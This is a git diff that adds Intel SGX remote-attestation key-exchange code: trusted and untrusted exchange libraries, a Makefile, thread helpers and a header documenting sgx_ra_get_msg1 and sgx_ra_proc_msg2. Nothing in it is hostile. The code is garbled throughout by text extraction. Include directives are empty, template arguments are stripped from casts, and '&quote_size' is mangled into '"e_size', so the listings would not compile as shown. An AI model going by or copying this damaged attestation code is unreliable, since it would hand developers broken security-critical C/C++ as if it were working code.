SGX_SUCCESS; + sgx_spin_lock(&item->item_lock); + //sgx_ra_proc_msg2_trusted fill the keys, so keys are available after it's called. + if (item->state != ra_proc_msg2ed) + ret = SGX_ERROR_INVALID_STATE; + else if(SGX_RA_KEY_MK == type) + memcpy(p_key, item->mk_key, sizeof(sgx_ra_key_128_t)); + else if(SGX_RA_KEY_SK == type) + memcpy(p_key, item->sk_key, sizeof(sgx_ra_key_128_t)); + else + ret = SGX_ERROR_INVALID_PARAMETER; + sgx_spin_unlock(&item->item_lock); + return ret; +} + + +// TKE interface for isv enclaves +sgx_status_t SGXAPI sgx_ra_close( + sgx_ra_context_t context) +{ + if(vector_size(&g_ra_db) <= context) + return SGX_ERROR_INVALID_PARAMETER; + ra_db_item_t* item = NULL; + sgx_spin_lock(&g_ra_db_lock); + if (0 != vector_get(&g_ra_db, context, reinterpret_cast(&item)) || item == NULL) + { + sgx_spin_unlock(&g_ra_db_lock); + return SGX_ERROR_INVALID_PARAMETER; + } + //safe clear global data including private key and RA key before free memory + memset_s(item, sizeof(*item), 0, sizeof(ra_db_item_t)); + SAFE_FREE(item); + vector_set(&g_ra_db, context, NULL); + sgx_spin_unlock(&g_ra_db_lock); + return SGX_SUCCESS; +} diff --git a/cczoo/machine_binding_key_backup/utils/tkey_exchange/tkey_exchange_version.cpp b/cczoo/machine_binding_key_backup/utils/tkey_exchange/tkey_exchange_version.cpp new file mode 100644 index 00000000..1ac37e17 --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/tkey_exchange/tkey_exchange_version.cpp @@ -0,0 +1,34 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include "se_version.h" + +#define __CONCAT(x, y) x/**/y + +#define SGX_TKEY_EXCHANGE_VERSION_STR __CONCAT("SGX_TKEY_EXCHANGE_VERSION_", STRFILEVER) + +#ifdef __cplusplus +extern "C" { +#endif + +__attribute__((visibility("default"))) +char sgx_tkey_exchange_version[] = SGX_TKEY_EXCHANGE_VERSION_STR; + +#ifdef __cplusplus +} +#endif diff --git a/cczoo/machine_binding_key_backup/utils/ukey_exchange/Makefile b/cczoo/machine_binding_key_backup/utils/ukey_exchange/Makefile new file mode 100644 index 00000000..502f63c5 --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/ukey_exchange/Makefile @@ -0,0 +1,55 @@ +# +# Copyright (c) 2022 Intel Corporation +# SPDX-License-Identifier: Apache-2.0 +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +include ../../buildenv.mk + +LIBNAME := libra_ukey_exchange.a + +OUT = $(TOPDIR)/$(OUTLIB_DIR) +CURDIR= $(PWD) +Include_Paths := \ + -I$(TOPDIR)/include \ + -I$(TOPDIR)/include/key_exchange \ + -I$(SGX_SDK)/include \ + +KE_DEFINITIONS = +CXXFLAGS += $(SGX_COMMON_CXXFLAGS) -Wno-attributes -fPIC -fno-exceptions -fno-rtti $(KE_DEFINITIONS) $(Include_Paths) +CFLAGS += $(SGX_COMMON_CFLAGS) -fPIC $(KE_DEFINITIONS) $(Include_Paths) + +SRC := $(wildcard *.cpp) + +OBJ := $(sort $(SRC:.cpp=.o)) + +OBJ_C := se_thread.o + +.PHONY: all +all: $(LIBNAME) + @mkdir -p $(OUT) + @mv $< $(OUT) + +$(OBJ_C): se_thread.c + @$(CC) $(CFLAGS) -c $< -o $@ + @echo "CC <= $<" + +$(OBJ): %.o :%.cpp + $(CXX) $(CXXFLAGS) -c $< -o $@ + +$(LIBNAME): $(OBJ) $(OBJ_C) + $(AR) rcsD $@ $^ + +.PHONY: clean +clean: + @$(RM) $(OBJ) $(OBJ_C) + @$(RM) $(LIBNAME) \ No newline at end of file diff --git a/cczoo/machine_binding_key_backup/utils/ukey_exchange/se_thread.c b/cczoo/machine_binding_key_backup/utils/ukey_exchange/se_thread.c new file mode 100644 index 00000000..5092a7a6 --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/ukey_exchange/se_thread.c @@ -0,0 +1,86 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#include "se_thread.h" +#include "se_types.h" + +void se_mutex_init(se_mutex_t* mutex) +{ +#ifdef PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP + se_mutex_t tmp = PTHREAD_RECURSIVE_MUTEX_INITIALIZER_NP; +#elif defined(PTHREAD_RECURSIVE_MUTEX_INITIALIZER) + se_mutex_t tmp = PTHREAD_RECURSIVE_MUTEX_INITIALIZER; +#else +#error no pre-defined RECURSIVE_MUTEX found. +#endif + + /* C doesn't allow `*mutex = PTHREAD_..._INITIALIZER'.*/ + memcpy(mutex, &tmp, sizeof(tmp)); +} + +int se_mutex_lock(se_mutex_t* mutex) { return (0 == pthread_mutex_lock(mutex)); } +int se_mutex_unlock(se_mutex_t* mutex) { return (0 == pthread_mutex_unlock(mutex)); } +int se_mutex_destroy(se_mutex_t* mutex) { return (0 == pthread_mutex_destroy(mutex));} + +void se_thread_cond_init(se_cond_t* cond) +{ + se_cond_t tmp = PTHREAD_COND_INITIALIZER; + memcpy(cond, &tmp, sizeof(tmp)); +} + +int se_thread_cond_wait(se_cond_t *cond, se_mutex_t *mutex){return (0 == pthread_cond_wait(cond, mutex));} +int se_thread_cond_signal(se_cond_t *cond){return (0 == pthread_cond_signal(cond));} +int se_thread_cond_broadcast(se_cond_t *cond){return (0 == pthread_cond_broadcast(cond));} +int se_thread_cond_destroy(se_cond_t* cond){return (0 == pthread_cond_destroy(cond));} + +unsigned int se_get_threadid(void) { return (unsigned)syscall(__NR_gettid);} +/* tls functions */ +int se_tls_alloc(se_tls_index_t *tls_index) { return !pthread_key_create(tls_index, NULL); } +int se_tls_free(se_tls_index_t tls_index) { return !pthread_key_delete(tls_index); } +void * se_tls_get_value(se_tls_index_t tls_index) { return pthread_getspecific(tls_index); } +int se_tls_set_value(se_tls_index_t tls_index, void *tls_value) { return !pthread_setspecific(tls_index, tls_value); } +/* +se_thread_handle_t se_create_thread(size_t stack_size, thread_start_routine_t start_routine, void *param, se_thread_t *thread) +{ + pthread_attr_t attr, *attr_ptr = NULL; + int ret; + + if(stack_size > 0) + { + ret = pthread_attr_init(&attr); + if(ret) + return NULL; + ret = pthread_attr_setstacksize(&attr, stack_size); + if(ret) + return NULL; + attr_ptr = &attr; + } + else + { + attr_ptr = NULL; + } + ret = pthread_create(thread, attr_ptr, start_routine, param); + if(ret) + return NULL; + if(attr_ptr) + pthread_attr_destroy(&attr); + + return thread; + +} +*/ diff --git a/cczoo/machine_binding_key_backup/utils/ukey_exchange/sgx_ukey_exchange.h b/cczoo/machine_binding_key_backup/utils/ukey_exchange/sgx_ukey_exchange.h new file mode 100644 index 00000000..9be211d9 --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/ukey_exchange/sgx_ukey_exchange.h @@ -0,0 +1,329 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef _SGX_UKEY_EXCHANGE_H_ +#define _SGX_UKEY_EXCHANGE_H_ + +#include "sgx_eid.h" +#include "sgx_defs.h" +#include "sgx_key_exchange.h" + +#ifdef __cplusplus +extern "C" { +#endif + + +typedef sgx_status_t (* sgx_ecall_get_ga_trusted_t)( + sgx_enclave_id_t eid, + sgx_status_t* retval, + sgx_ra_context_t context, + sgx_ec256_public_t *g_a); + +typedef sgx_status_t (* sgx_ecall_proc_msg2_trusted_t)( + sgx_enclave_id_t eid, + sgx_status_t* retval, + sgx_ra_context_t context, + const sgx_ra_msg2_t *p_msg2, + const sgx_target_info_t *p_qe_target, + sgx_report_t *p_report, + sgx_quote_nonce_t* nonce); + +typedef sgx_status_t (* sgx_ecall_get_msg3_trusted_t)( + sgx_enclave_id_t eid, + sgx_status_t* retval, + sgx_ra_context_t context, + uint32_t quote_size, + sgx_report_t* qe_report, + sgx_ra_msg3_t *p_msg3, + uint32_t msg3_size); + +/* + * sgx_ra_get_msg1 is used to get the remote attestation and key exchange + * protocol message 1 to send to a service provider. The application enclave + * should use sgx_ra_init function to create the remote attestation and key + * exchange process context and return to the untrusted code, before the + * untrusted code can invoke this function. + * + * @param context Context returned by the sgx_ra_init function inside the + * application enclave. + * @param eid ID of the application enclave which is going to be + * attested. + * @param p_get_ga Function pointer of the ECALL proxy sgx_ra_get_ga + * generated by sgx_edger8r. The application enclave should + * link with sgx_tkey_exchange library and import + * sgx_tkey_exchange.edl in the enclave's EDL file to + * expose the ECALL proxy for sgx_ra_get_ga. + * @param p_msg1 Message 1 used by the remote attestation and key + * exchange protocol. + * @return sgx_status_t SGX_SUCCESS Indicates success. + * SGX_ERROR_INVALID_PARAMETER Invalid input parameters + * detected. + * SGX_ERROR_AE_INVALID_EPIDBLOB The EPID blob is + * corrupted. + * SGX_ERROR_INVALID_STATE SGX API is invoked in + * incorrect order or + * state. + * SGX_ERROR_EPID_MEMBER_REVOKED The EPID group + * membership revoked. + * SGX_ERROR_BUSY The requested service is + * temporarily not + * available. + * SGX_ERROR_UPDATE_NEEDED SGX needs to be updated. + * SGX_ERROR_SERVICE_UNAVAILABLE The AE service did not + * respond. + * SGX_ERROR_SERVICE_TIMEOUT A request to the AE + * service timed out. + * SGX_ERROR_NETWORK_FAILURE Network connecting or + * proxy setting issue was + * encountered. + * SGX_ERROR_OUT_OF_MEMORY There is not enough + * memory available to + * complete this operation. + * SGX_ERROR_UNEXPECTED Indicates an unexpected + * error occurs. + * And other possible return code from sgx_ecall. + */ +sgx_status_t SGXAPI sgx_ra_get_msg1( + sgx_ra_context_t context, + sgx_enclave_id_t eid, + sgx_ecall_get_ga_trusted_t p_get_ga, + sgx_ra_msg1_t *p_msg1); + +/* + * sgx_ra_proc_msg2 is used to process the remote attestation and key exchange + * protocol message 2 from the service provider and generate message 3 to send + * to the service provider. If the service provider accepts message 3, + * negotiated session keys between the application enclave and the service + * provider are ready for use. The application enclave can use sgx_ra_get_keys + * function to retrieve the negotiated keys and use sgx_ra_close function to + * release the context of the remote attestation and key exchange process. + * + * @param context Context returned by the sgx_ra_init function inside the + * application enclave. + * @param eid ID of the application enclave which is going to be + * attested. + * @param p_proc_msg2 Function pointer of the ECALL proxy sgx_ra_proc_msg2_trusted + * generated by sgx_edger8r. The application enclave should + * link with sgx_tkey_exchange library and import the + * sgx_tkey_exchange.edl in the application enclave's EDL + * file to expose the ECALL proxy for sgx_ra_proc_msg2. + * @param p_get_msg3 Function pointer of the ECALL proxy sgx_ra_get_msg3_trusted + * generated by sgx_edger8r. The application enclave should + * link with sgx_tkey_exchange library and import the + * sgx_tkey_exchange.edl in the application enclave's EDL + * file to expose the ECALL proxy for sgx_ra_get_msg3. + * @param p_msg2 sgx_ra_msg2_t message 2 from the service provider + * received by application. + * @param msg2_size The length of msg2 (in bytes). + * @param pp_msg3 sgx_ra_msg3_t message 3 to be sent to the service + * provider. The message buffer is allocated by the + * sgx_ukey_exchange library. The caller should free the + * buffer after use. + * @param p_msg3_size The length of msg3 (in bytes). + * @return sgx_status_t SGX_SUCCESS Indicates success. + * SGX_ERROR_INVALID_PARAMETER Invalid input parameters + * detected. + * SGX_ERROR_AE_INVALID_EPIDBLOB The EPID blob is + * corrupted. + * SGX_ERROR_INVALID_STATE SGX API is invoked in + * incorrect order or + * state. + * SGX_ERROR_EPID_MEMBER_REVOKED The EPID group + * membership revoked. + * SGX_ERROR_INVALID_SIGNATURE The signature is invalid. + * SGX_ERROR_MAC_MISMATCH Indicates verification + * error for reports, sealed + * data, etc. + * SGX_ERROR_KDF_MISMATCH Indicates key derivation + * function doesn't match. + * SGX_ERROR_BUSY The requested service is + * temporarily not + * available. + * SGX_ERROR_UPDATE_NEEDED SGX needs to be updated. + * SGX_ERROR_SERVICE_UNAVAILABLE The AE service did not + * respond. + * SGX_ERROR_SERVICE_TIMEOUT A request to the AE + * service timed out. + * SGX_ERROR_NETWORK_FAILURE Network connecting or + * proxy setting issue was + * encountered. + * SGX_ERROR_OUT_OF_MEMORY There is not enough + * memory available to + * complete this operation. + * SGX_ERROR_UNEXPECTED Indicates an unexpected + * error occurs. + * And other possible return code from sgx_ecall. + */ +sgx_status_t SGXAPI sgx_ra_proc_msg2( + sgx_ra_context_t context, + sgx_enclave_id_t eid, + sgx_ecall_proc_msg2_trusted_t p_proc_msg2, + sgx_ecall_get_msg3_trusted_t p_get_msg3, + const sgx_ra_msg2_t *p_msg2, + uint32_t msg2_size, + sgx_ra_msg3_t **pp_msg3, + uint32_t *p_msg3_size); + +/* + * sgx_ra_get_msg1_ex is used to get the remote attestation and key exchange + * protocol message 1 to send to a service provider. The application enclave + * should use sgx_ra_init/sgx_ra_init_ex function to create the remote + * attestation and key exchange process context and return it to the untrusted + * code. Besides, application also need to call sgx_select_att_key_id to select + * the attestation key from the list provided by the off-platform Quote verifier + * before the untrusted code can invoke this function. It is designed to be + * algorithm agnostic, it supports both EPID and ECDSA based remote attestation. + * + * @param p_att_key_id Selected attestation key ID returned from + * sgx_select_att_key_id + * @param context Context returned by the sgx_ra_init function inside the + * application enclave. + * @param eid ID of the application enclave which is going to be + * attested. + * @param p_get_ga Function pointer of the ECALL proxy sgx_ra_get_ga + * generated by sgx_edger8r. The application enclave should + * link with sgx_tkey_exchange library and import + * sgx_tkey_exchange.edl in the enclave's EDL file to + * expose the ECALL proxy for sgx_ra_get_ga. + * @param p_msg1 Message 1 used by the remote attestation and key + * exchange protocol. + * @return sgx_status_t SGX_SUCCESS Indicates success. + * SGX_ERROR_INVALID_PARAMETER Invalid input parameters + * detected. + * SGX_ERROR_AE_INVALID_EPIDBLOB The EPID blob is + * corrupted. + * SGX_ERROR_INVALID_STATE SGX API is invoked in + * incorrect order or + * state. + * SGX_ERROR_BUSY The requested service is + * temporarily not + * available. + * SGX_ERROR_UPDATE_NEEDED SGX needs to be updated. + * SGX_ERROR_SERVICE_UNAVAILABLE The AE service did not + * respond. + * SGX_ERROR_SERVICE_TIMEOUT A request to the AE + * service timed out. + * SGX_ERROR_NETWORK_FAILURE Network connecting or + * proxy setting issue was + * encountered. + * SGX_ERROR_OUT_OF_MEMORY There is not enough + * memory available to + * complete this operation. + * SGX_ERROR_UNEXPECTED Indicates an unexpected + * error occurs. + * SGX_ERROR_UNSUPPORTED_ATT_KEY_ID The platform quoting + * infrastructure does not + * support the key described + * in p_att_key_id. + * SGX_ERROR_ATT_KEY_CERTIFICATION_FAILURE Failed to generate and + * certify the attestation + * key. + * And other possible return code from sgx_ecall. + */ +sgx_status_t SGXAPI sgx_ra_get_msg1_ex( + const sgx_att_key_id_t *p_att_key_id, + sgx_ra_context_t context, + sgx_enclave_id_t eid, + sgx_ecall_get_ga_trusted_t p_get_ga, + sgx_ra_msg1_t *p_msg1); + +/* + * sgx_ra_proc_msg2_ex is used to process the remote attestation and key exchange + * protocol message 2 from the service provider and generate message 3 to send + * to the service provider. If the service provider accepts message 3, + * negotiated session keys between the application enclave and the service + * provider are ready for use. The application enclave can use sgx_ra_get_keys + * function to retrieve the negotiated keys and use sgx_ra_close function to + * release the context of the remote attestation and key exchange process. + * It is designed to be algorithm agnostic, it supports both EPID and ECDSA + * based remote attestation. + * + * @param p_att_key_id Selected attestation key ID returned from + * sgx_select_att_key_id + * @param context Context returned by the sgx_ra_init function inside the + * application enclave. + * @param eid ID of the application enclave which is going to be + * attested. + * @param p_proc_msg2 Function pointer of the ECALL proxy sgx_ra_proc_msg2_trusted + * generated by sgx_edger8r. The application enclave should + * link with sgx_tkey_exchange library and import the + * sgx_tkey_exchange.edl in the application enclave's EDL + * file to expose the ECALL proxy for sgx_ra_proc_msg2. + * @param p_get_msg3 Function pointer of the ECALL proxy sgx_ra_get_msg3_trusted + * generated by sgx_edger8r. The application enclave should + * link with sgx_tkey_exchange library and import the + * sgx_tkey_exchange.edl in the application enclave's EDL + * file to expose the ECALL proxy for sgx_ra_get_msg3. + * @param p_msg2 sgx_ra_msg2_t message 2 from the service provider + * received by application. + * @param msg2_size The length of msg2 (in bytes). + * @param pp_msg3 sgx_ra_msg3_t message 3 to be sent to the service + * provider. The message buffer is allocated by the + * sgx_ukey_exchange library. The caller should free the + * buffer after use. + * @param p_msg3_size The length of msg3 (in bytes). + * @return sgx_status_t SGX_SUCCESS Indicates success. + * SGX_ERROR_INVALID_PARAMETER Invalid input parameters + * detected. + * SGX_ERROR_INVALID_STATE SGX API is invoked in + * incorrect order or + * state. + * SGX_ERROR_INVALID_SIGNATURE The signature is invalid. + * SGX_ERROR_MAC_MISMATCH Indicates verification + * error for reports, sealed + * data, etc. + * SGX_ERROR_KDF_MISMATCH Indicates key derivation + * function doesn't match. + * SGX_ERROR_BUSY The requested service is + * temporarily not + * available. + * SGX_ERROR_UPDATE_NEEDED SGX needs to be updated. + * SGX_ERROR_SERVICE_UNAVAILABLE The AE service did not + * respond. + * SGX_ERROR_SERVICE_TIMEOUT A request to the AE + * service timed out. + * SGX_ERROR_NETWORK_FAILURE Network connecting or + * proxy setting issue was + * encountered. + * SGX_ERROR_OUT_OF_MEMORY There is not enough + * memory available to + * complete this operation. + * SGX_ERROR_UNEXPECTED Indicates an unexpected + * error occurs. + * SGX_ERROR_UNSUPPORTED_ATT_KEY_ID The platform quoting + * infrastructure does not + * support the key described + * in p_att_key_id. + * And other possible return code from sgx_ecall. + */ +sgx_status_t SGXAPI sgx_ra_proc_msg2_ex( + const sgx_att_key_id_t *p_att_key_id, + sgx_ra_context_t context, + sgx_enclave_id_t eid, + sgx_ecall_proc_msg2_trusted_t p_proc_msg2, + sgx_ecall_get_msg3_trusted_t p_get_msg3, + const sgx_ra_msg2_t *p_msg2, + uint32_t msg2_size, + sgx_ra_msg3_t **pp_msg3, + uint32_t *p_msg3_size); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/cczoo/machine_binding_key_backup/utils/ukey_exchange/ukey_exchange.cpp b/cczoo/machine_binding_key_backup/utils/ukey_exchange/ukey_exchange.cpp new file mode 100644 index 00000000..732c723e --- /dev/null +++ b/cczoo/machine_binding_key_backup/utils/ukey_exchange/ukey_exchange.cpp @@ -0,0 +1,370 @@ +/* + * + * Copyright (c) 2022 Intel Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +#ifndef __STDINT_LIMITS +#define __STDINT_LIMITS +#endif +//for Linux +#ifndef __STDC_LIMIT_MACROS +#define __STDC_LIMIT_MACROS +#endif +#include +#include + +#include "se_memcpy.h" +#include "sgx_ukey_exchange.h" +#include "sgx_uae_epid.h" +#include "sgx_uae_quote_ex.h" +#include "sgx_ecp_types.h" +#include "se_lock.hpp" + +#include "se_cdefs.h" +#include +#include "sgx_quote_3.h" +#include "sgx_ql_lib_common.h" +#include "sgx_dcap_ql_wrapper.h" + +SGX_ACCESS_VERSION(ukey_exchange, 1) + +static sgx_att_key_id_t g_att_key_id; +static sgx_target_info_t g_qe_target_info; +static Mutex g_ukey_spin_lock; + + +#ifndef ERROR_BREAK +#define ERROR_BREAK(x) if(x){break;} +#endif +#ifndef SAFE_FREE +#define SAFE_FREE(ptr) {if (NULL != (ptr)) {free(ptr); (ptr)=NULL;}} +#endif + +sgx_status_t sgx_ra_get_msg1( + sgx_ra_context_t context, + sgx_enclave_id_t eid, + sgx_ecall_get_ga_trusted_t p_get_ga, + sgx_ra_msg1_t *p_msg1) +{ + if(!p_msg1 || !p_get_ga) + return SGX_ERROR_INVALID_PARAMETER; + sgx_epid_group_id_t gid = {0}; + sgx_target_info_t qe_target_info; + + memset(&qe_target_info, 0, sizeof(qe_target_info)); + sgx_status_t ret = sgx_init_quote(&qe_target_info, &gid); + if(SGX_SUCCESS != ret) + return ret; + g_ukey_spin_lock.lock(); + memset(&g_att_key_id, 0, sizeof(sgx_att_key_id_t)); + if(memcpy_s(&g_qe_target_info, sizeof(g_qe_target_info), + &qe_target_info, sizeof(qe_target_info)) != 0) + { + g_ukey_spin_lock.unlock(); + return SGX_ERROR_UNEXPECTED; + } + g_ukey_spin_lock.unlock(); + if(memcpy_s(&p_msg1->gid, sizeof(p_msg1->gid), &gid, sizeof(gid)) != 0) + return SGX_ERROR_UNEXPECTED; + sgx_ec256_public_t g_a; + sgx_status_t status = SGX_ERROR_UNEXPECTED; + memset(&g_a, 0, sizeof(g_a)); + ret = p_get_ga(eid, &status, context, &g_a); + if(SGX_SUCCESS !=ret) + return ret; + if (SGX_SUCCESS != status) + return status; + memcpy_s(&p_msg1->g_a, sizeof(p_msg1->g_a), &g_a, sizeof(g_a)); + return SGX_SUCCESS; +} + +sgx_status_t sgx_ra_proc_msg2( + sgx_ra_context_t context, + sgx_enclave_id_t eid, + sgx_ecall_proc_msg2_trusted_t p_proc_msg2, + sgx_ecall_get_msg3_trusted_t p_get_msg3, + const sgx_ra_msg2_t *p_msg2, + uint32_t msg2_size, + sgx_ra_msg3_t **pp_msg3, + uint32_t *p_msg3_size) +{ + if(!p_msg2 || !p_proc_msg2 || !p_get_msg3 || !p_msg3_size || !pp_msg3) + return SGX_ERROR_INVALID_PARAMETER; + if(msg2_size != sizeof(sgx_ra_msg2_t) + p_msg2->sig_rl_size) + return SGX_ERROR_INVALID_PARAMETER; + + sgx_status_t ret = SGX_ERROR_UNEXPECTED; + sgx_report_t report; + sgx_ra_msg3_t *p_msg3 = NULL; + sgx_att_key_id_t empty_att_key_id; + + memset(&report, 0, sizeof(report)); + memset(&empty_att_key_id, 0, sizeof(empty_att_key_id)); + + { + sgx_quote_nonce_t nonce; + sgx_report_t qe_report; + sgx_target_info_t qe_target_info; + + memset(&nonce, 0, sizeof(nonce)); + memset(&qe_report, 0, sizeof(qe_report)); + + sgx_status_t status; + g_ukey_spin_lock.lock(); + if(0 != memcmp(&g_att_key_id, &empty_att_key_id, sizeof(g_att_key_id))) + { + ret = SGX_ERROR_INVALID_STATE; + g_ukey_spin_lock.unlock(); + goto CLEANUP; + } + if(memcpy_s(&qe_target_info, sizeof(qe_target_info), + &g_qe_target_info, sizeof(g_qe_target_info)) != 0) + { + ret = SGX_ERROR_UNEXPECTED; + g_ukey_spin_lock.unlock(); + goto CLEANUP; + } + g_ukey_spin_lock.unlock(); + ret = p_proc_msg2(eid, &status, context, p_msg2, &qe_target_info, + &report, &nonce); + if(SGX_SUCCESS!=ret) + { + goto CLEANUP; + } + if(SGX_SUCCESS!=status) + { + ret = status; + goto CLEANUP; + } + + uint32_t quote_size = 0; + ret = sgx_calc_quote_size(p_msg2->sig_rl_size ? + const_cast(p_msg2->sig_rl):NULL, + p_msg2->sig_rl_size, + "e_size); + if(SGX_SUCCESS!=ret) + { + goto CLEANUP; + } + + //check integer overflow of quote_size + if (UINT32_MAX - quote_size < sizeof(sgx_ra_msg3_t)) + { + ret = SGX_ERROR_UNEXPECTED; + goto CLEANUP; + } + uint32_t msg3_size = static_cast(sizeof(sgx_ra_msg3_t)) + quote_size; + p_msg3 = (sgx_ra_msg3_t *)malloc(msg3_size); + if(!p_msg3) + { + ret = SGX_ERROR_OUT_OF_MEMORY; + goto CLEANUP; + } + memset(p_msg3, 0, msg3_size); + + ret = sgx_get_quote(&report, + p_msg2->quote_type == SGX_UNLINKABLE_SIGNATURE ? + SGX_UNLINKABLE_SIGNATURE : SGX_LINKABLE_SIGNATURE, + const_cast(&p_msg2->spid), + &nonce, + p_msg2->sig_rl_size ? + const_cast(p_msg2->sig_rl):NULL, + p_msg2->sig_rl_size, + &qe_report, + (sgx_quote_t *)p_msg3->quote, + quote_size); + if(SGX_SUCCESS!=ret) + { + goto CLEANUP; + } + + ret = p_get_msg3(eid, &status, context, quote_size, &qe_report, + p_msg3, msg3_size); + if(SGX_SUCCESS!=ret) + { + goto CLEANUP; + } + if(SGX_SUCCESS!=status) + { + ret = status; + goto CLEANUP; + } + *pp_msg3 = p_msg3; + *p_msg3_size = msg3_size; + } + +CLEANUP: + if(ret) + SAFE_FREE(p_msg3); + return ret; +} + +sgx_status_t SGXAPI sgx_ra_get_msg1_ex( + const sgx_att_key_id_t *p_att_key_id, + sgx_ra_context_t context, + sgx_enclave_id_t eid, + sgx_ecall_get_ga_trusted_t p_get_ga, + sgx_ra_msg1_t *p_msg1) +{ + sgx_status_t ret = SGX_SUCCESS; + quote3_error_t qe3_ret = SGX_QL_SUCCESS; + + if(!p_msg1 || !p_get_ga || !p_att_key_id) + return SGX_ERROR_INVALID_PARAMETER; + + sgx_target_info_t qe_target_info; + + memset(&qe_target_info, 0, sizeof(qe_target_info)); + qe3_ret = sgx_qe_get_target_info(&qe_target_info); + if (SGX_QL_SUCCESS != qe3_ret) { + printf("Error in sgx_qe_get_target_info. 0x%04x\n", qe3_ret); + ret = SGX_ERROR_UNEXPECTED; + return ret; + } + + g_ukey_spin_lock.lock(); + if(memcpy_s(&g_qe_target_info, sizeof(g_qe_target_info), + &qe_target_info, sizeof(qe_target_info)) != 0) + { + g_ukey_spin_lock.unlock(); + return SGX_ERROR_UNEXPECTED; + } + g_ukey_spin_lock.unlock(); + memset(&p_msg1->gid, 0, sizeof(p_msg1->gid)); + + sgx_ec256_public_t g_a; + sgx_status_t status = SGX_ERROR_UNEXPECTED; + memset(&g_a, 0, sizeof(g_a)); + ret = p_get_ga(eid, &status, context, &g_a); + if(SGX_SUCCESS !=ret) + return ret; + if (SGX_SUCCESS != status) + return status; + memcpy_s(&p_msg1->g_a, sizeof(p_msg1->g_a), &g_a, sizeof(g_a)); + return SGX_SUCCESS; +} + +sgx_status_t SGXAPI sgx_ra_proc_msg2_ex( + const sgx_att_key_id_t *p_att_key_id, + sgx_ra_context_t context, + sgx_enclave_id_t eid, + sgx_ecall_proc_msg2_trusted_t p_proc_msg2, + sgx_ecall_get_msg3_trusted_t p_get_msg3, + const sgx_ra_msg2_t *p_msg2, + uint32_t msg2_size, + sgx_ra_msg3_t **pp_msg3, + uint32_t *p_msg3_size) +{ + if(!p_msg2 || !p_proc_msg2 || !p_get_msg3 || !p_msg3_size || !pp_msg3 || !p_att_key_id) + return SGX_ERROR_INVALID_PARAMETER; + if(p_msg2->sig_rl_size) + return SGX_ERROR_UNEXPECTED; // No SigRL for ECDSA attestation + if(msg2_size != sizeof(sgx_ra_msg2_t) + p_msg2->sig_rl_size) + return SGX_ERROR_INVALID_PARAMETER; + + uint32_t quote_size = 0; + quote3_error_t qe3_ret = SGX_QL_SUCCESS; + sgx_status_t ret = SGX_ERROR_UNEXPECTED; + sgx_report_t report; + sgx_ra_msg3_t *p_msg3 = NULL; + + memset(&report, 0, sizeof(report)); + { + sgx_quote_nonce_t nonce; + sgx_target_info_t qe_target_info; + + memset(&nonce, 0, sizeof(nonce)); + + sgx_status_t status; + g_ukey_spin_lock.lock(); + if(0 != memcmp(&g_att_key_id, p_att_key_id, sizeof(g_att_key_id))) + { + ret = SGX_ERROR_INVALID_STATE; + g_ukey_spin_lock.unlock(); + goto CLEANUP; + } + if(memcpy_s(&qe_target_info, sizeof(qe_target_info), + &g_qe_target_info, sizeof(g_qe_target_info)) != 0) + { + ret = SGX_ERROR_UNEXPECTED; + g_ukey_spin_lock.unlock(); + goto CLEANUP; + } + g_ukey_spin_lock.unlock(); + + ret = p_proc_msg2(eid, &status, context, p_msg2, &qe_target_info, + &report, &nonce); + if(SGX_SUCCESS!=ret) + { + goto CLEANUP; + } + if(SGX_SUCCESS!=status) + { + ret = status; + goto CLEANUP; + } + + qe3_ret = sgx_qe_get_quote_size("e_size); + if (SGX_QL_SUCCESS != qe3_ret) { + printf("Error in sgx_qe_get_quote_size. 0x%04x\n", qe3_ret); + ret =SGX_ERROR_UNEXPECTED; + goto CLEANUP; + } + + //check integer overflow of quote_size + if (UINT32_MAX - quote_size < sizeof(sgx_ra_msg3_t)) + { + ret = SGX_ERROR_UNEXPECTED; + goto CLEANUP; + } + uint32_t msg3_size = static_cast(sizeof(sgx_ra_msg3_t)) + quote_size; + p_msg3 = (sgx_ra_msg3_t *)malloc(msg3_size); + if(!p_msg3) + { + ret = SGX_ERROR_OUT_OF_MEMORY; + goto CLEANUP; + } + memset(p_msg3, 0, 